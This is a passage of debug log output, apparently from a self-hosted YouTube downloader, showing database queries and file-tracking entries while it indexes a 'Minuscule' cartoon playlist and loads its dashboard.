("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nOn a little country road, insects from all over join to watch an annual race. As soon as it starts, these 'wacky racers' will try to do everything they can to arrive first.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - At full speed / à Toute Berzingue (Season 2)", "2d05b016-c2e5-4754-a892-aed4c1d22867", "Zh10U1WWXHI", 292, false, 5, "https://www.youtube.com/watch?v=Zh10U1WWXHI", 119, "/downloads/Miniscule Season 2/2019-12-05 Minuscule - At full speed ⧸ à Toute Berzingue (Season 2)/Minuscule - At full speed ⧸ à Toute Berzingue (Season 2) [Zh10U1WWXHI].mp4", false, false, false, [], 1, ~U[2019-12-05 15:30:02Z], ~U[2025-12-12 05:14:34Z], ~U[2025-12-12 05:14:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nOn a little country road, insects from all over join to watch an annual race. As soon as it starts, these 'wacky racers' will try to do everything they can to arrive first.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - At full speed / à Toute Berzingue (Season 2)", "Zh10U1WWXHI", 292, false, 5, "https://www.youtube.com/watch?v=Zh10U1WWXHI", "/downloads/Miniscule Season 2/2019-12-05 Minuscule - At full speed ⧸ à Toute Berzingue (Season 2)/Minuscule - At full speed ⧸ à Toute Berzingue (Season 2) [Zh10U1WWXHI].mp4", false, ~U[2019-12-05 15:30:02Z]] 22:14:34.587 [debug] QUERY OK source="sources" db=0.4ms idle=109.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:34.588 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:34.589 [debug] QUERY OK source="media_items" db=0.6ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89130] 22:14:34.589 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #4iAzXbusMOU/youtube video #4iAzXbusMOU [4iAzXbusMOU].NA", "id" => "4iAzXbusMOU", "original_url" => "https://www.youtube.com/watch?v=4iAzXbusMOU", "playlist_index" => 120, "title" => "youtube video #4iAzXbusMOU"} 22:14:34.590 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:34.590 [debug] Current batch of media processed. Will check again in 1000ms 22:14:35.591 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #IcKQxmy1LXM/youtube video #IcKQxmy1LXM [IcKQxmy1LXM].NA", "id" => "IcKQxmy1LXM", "original_url" => "https://www.youtube.com/watch?v=IcKQxmy1LXM", "playlist_index" => 121, "title" => "youtube video #IcKQxmy1LXM"} 22:14:35.592 [debug] QUERY OK source="sources" db=0.4ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:35.592 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #7OGCpZs50RM/youtube video #7OGCpZs50RM [7OGCpZs50RM].NA", "id" => "7OGCpZs50RM", "original_url" => "https://www.youtube.com/watch?v=7OGCpZs50RM", "playlist_index" => 122, "title" => "youtube video #7OGCpZs50RM"} 22:14:35.593 [debug] QUERY OK source="sources" db=0.4ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:35.593 [debug] Current batch of media processed. Will check again in 1000ms 22:14:36.595 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #Ftd4VjMTwPE/youtube video #Ftd4VjMTwPE [Ftd4VjMTwPE].NA", "id" => "Ftd4VjMTwPE", "original_url" => "https://www.youtube.com/watch?v=Ftd4VjMTwPE", "playlist_index" => 123, "title" => "youtube video #Ftd4VjMTwPE"} 22:14:36.596 [debug] QUERY OK source="sources" db=0.4ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:36.596 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #LGypnOHysp4/youtube video #LGypnOHysp4 [LGypnOHysp4].NA", "id" => "LGypnOHysp4", "original_url" => "https://www.youtube.com/watch?v=LGypnOHysp4", "playlist_index" => 124, "title" => "youtube video #LGypnOHysp4"} 22:14:36.597 [debug] QUERY OK source="sources" db=0.3ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:36.597 [debug] Current batch of media processed. Will check again in 1000ms 22:14:37.598 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #p3LrhFXmqEQ/youtube video #p3LrhFXmqEQ [p3LrhFXmqEQ].NA", "id" => "p3LrhFXmqEQ", "original_url" => "https://www.youtube.com/watch?v=p3LrhFXmqEQ", "playlist_index" => 125, "title" => "youtube video #p3LrhFXmqEQ"} 22:14:37.599 [debug] QUERY OK source="sources" db=0.4ms idle=1427.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:37.599 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #DkV21GAYHno/youtube video #DkV21GAYHno [DkV21GAYHno].NA", "id" => "DkV21GAYHno", "original_url" => "https://www.youtube.com/watch?v=DkV21GAYHno", "playlist_index" => 126, "title" => "youtube video #DkV21GAYHno"} 22:14:37.600 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1118.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:37.600 [debug] Current batch of media processed. Will check again in 1000ms 22:14:38.601 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #YGwbxD3Cs40/youtube video #YGwbxD3Cs40 [YGwbxD3Cs40].NA", "id" => "YGwbxD3Cs40", "original_url" => "https://www.youtube.com/watch?v=YGwbxD3Cs40", "playlist_index" => 127, "title" => "youtube video #YGwbxD3Cs40"} 22:14:38.602 [debug] QUERY OK source="sources" db=0.5ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:38.602 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #jiIs6ZvMimg/youtube video #jiIs6ZvMimg [jiIs6ZvMimg].NA", "id" => "jiIs6ZvMimg", "original_url" => "https://www.youtube.com/watch?v=jiIs6ZvMimg", "playlist_index" => 128, "title" => "youtube video #jiIs6ZvMimg"} 22:14:38.603 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:38.603 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #KrWGAio3HOE/youtube video #KrWGAio3HOE [KrWGAio3HOE].NA", "id" => "KrWGAio3HOE", "original_url" => "https://www.youtube.com/watch?v=KrWGAio3HOE", "playlist_index" => 129, "title" => "youtube video #KrWGAio3HOE"} 22:14:38.604 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=432.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:38.604 [debug] Current batch of media processed. Will check again in 1000ms 22:14:39.606 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #0JzT2QfhB78/youtube video #0JzT2QfhB78 [0JzT2QfhB78].NA", "id" => "0JzT2QfhB78", "original_url" => "https://www.youtube.com/watch?v=0JzT2QfhB78", "playlist_index" => 130, "title" => "youtube video #0JzT2QfhB78"} 22:14:39.607 [debug] QUERY OK source="sources" db=0.4ms idle=1121.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:39.607 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #pcLuhj3g5ro/youtube video #pcLuhj3g5ro [pcLuhj3g5ro].NA", "id" => "pcLuhj3g5ro", "original_url" => "https://www.youtube.com/watch?v=pcLuhj3g5ro", "playlist_index" => 131, "title" => "youtube video #pcLuhj3g5ro"} 22:14:39.608 [debug] QUERY OK source="sources" db=0.4ms idle=1005.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:39.608 [debug] Current batch of media processed. Will check again in 1000ms 22:14:40.610 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #1v1_xx2U7NY/youtube video #1v1_xx2U7NY [1v1_xx2U7NY].NA", "id" => "1v1_xx2U7NY", "original_url" => "https://www.youtube.com/watch?v=1v1_xx2U7NY", "playlist_index" => 132, "title" => "youtube video #1v1_xx2U7NY"} 22:14:40.611 [debug] QUERY OK source="sources" db=0.3ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:40.611 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #BrE9urBDZro/youtube video #BrE9urBDZro [BrE9urBDZro].NA", "id" => "BrE9urBDZro", "original_url" => "https://www.youtube.com/watch?v=BrE9urBDZro", "playlist_index" => 133, "title" => "youtube video #BrE9urBDZro"} 22:14:40.612 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:40.612 [debug] Current batch of media processed. Will check again in 1000ms 22:14:41.500 [info] GET / 22:14:41.500 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:14:41.501 [debug] QUERY OK source="settings" db=0.2ms idle=1329.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:41.501 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1012.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:14:41.502 [debug] QUERY OK source="sources" db=0.1ms idle=890.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:14:41.504 [debug] QUERY OK source="media_items" db=2.6ms idle=889.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:14:41.505 [debug] QUERY OK source="media_items" db=0.4ms idle=13.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:14:41.506 [debug] QUERY OK source="settings" db=0.2ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:41.506 [debug] QUERY OK source="settings" db=0.2ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:41.507 [debug] QUERY OK source="settings" db=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:41.509 [debug] QUERY OK source="tasks" db=0.4ms idle=3.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:14:41.509 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:41.511 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:14:41.512 [debug] QUERY OK source="media_items" db=0.7ms idle=5.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:14:41.513 [debug] QUERY OK source="sources" db=0.4ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 22:14:41.519 [debug] QUERY OK source="media_items" db=1.4ms idle=8.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:14:41.521 [debug] QUERY OK source="media_items" db=1.8ms idle=9.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:14:41.522 [debug] QUERY OK source="sources" db=0.4ms idle=10.5ms SELECT s0."id", 